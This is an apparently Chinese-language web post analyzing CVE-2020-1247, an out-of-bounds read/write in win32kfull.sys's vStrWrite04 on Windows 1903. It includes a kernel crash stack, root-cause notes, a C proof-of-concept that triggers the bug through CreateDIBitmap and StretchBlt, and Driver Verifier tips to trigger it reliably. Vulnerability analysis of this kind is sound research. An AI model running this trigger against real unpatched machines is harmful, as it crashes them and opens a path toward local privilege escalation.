设为首页 加入收藏

TOP

CVE-2020-1247漏洞分析
2023-07-23 13:27:19 】 浏览:72
Tags:CVE-2020-1247

0x00漏洞信息

漏洞影响:本地提权

漏洞文件:win32kfull.sys

漏洞函数:vStrWrite04

漏洞原因:越界读写

分析系统:Windows 1903

【漏洞分析合集】

0x01漏洞分析

崩溃时的堆栈:

 nt!KiBugCheckDebugBreak+0x12
 nt!KeBugCheck2+0x952
 nt!KeBugCheckEx+0x107
 nt!MiSystemFault+0x1d3171
 nt!MmAccessFault+0x34f
 nt!KiPageFault+0x360
 win32kfull!vStrWrite04+0x93
 win32kfull!EngStretchBltNew+0xc88
 win32kfull!EngStretchBlt+0xd1
 win32kfull!EngStretchBltROP+0x319
 win32kfull!BLTRECORD::bStretch+0x37e
 win32kfull!GreStretchBltInternal+0x721
 win32kfull!NtGdiStretchBlt+0x68

 

vStrWrite04 函数在对传入参数a3 取地址时未验证地址是否合法 就直接引用导致蓝屏 往前追溯发现
win32kfull!EngStretchBltROP+2BD 位置 在调用SURFMEM::bCreateDIB 时 67.left+24 取地址加0x50 是一个未申请内存。导致后面引用到+0x50对象就会造成越界读写

 

 0x02验证poc

#include <Windows.h>


int main()
{
    BITMAPINFO bi = { {0x28, 0x2, 0xfffffffffffffffb, 0x2, 0x4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2} };
    char out[0x1000] = { 0 };
    HDC r0 = CreateCompatibleDC(0x0);
    HBITMAP r1 = CreateDIBitmap(r0, 0x0, 0x6, &out, &bi, 0x0);
    SelectObject(r0, r1);
   // __debugbreak();
    StretchBlt(r0, 0x0, 0x0, 0x8, 0x8, r0, 0x0, 0x0, 0xffffffffffffffeb, 0x4, 0xee00e6);

    return 0;
}

在运行poc 前需要开启特殊池 不然很难触发 因为越界读取只有4个字节  需要添加特殊池来稳定触发

打开Verifier

 

 

 

 

 

 

 

 

 

 完成后重启就可以稳定触发漏洞



】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
上一篇WSL 2 基本命令 下一篇【操作系统】文件

最新文章

热门文章

Hot 文章

Python

C 语言

C++基础

大数据基础

linux编程基础

C/C++面试题目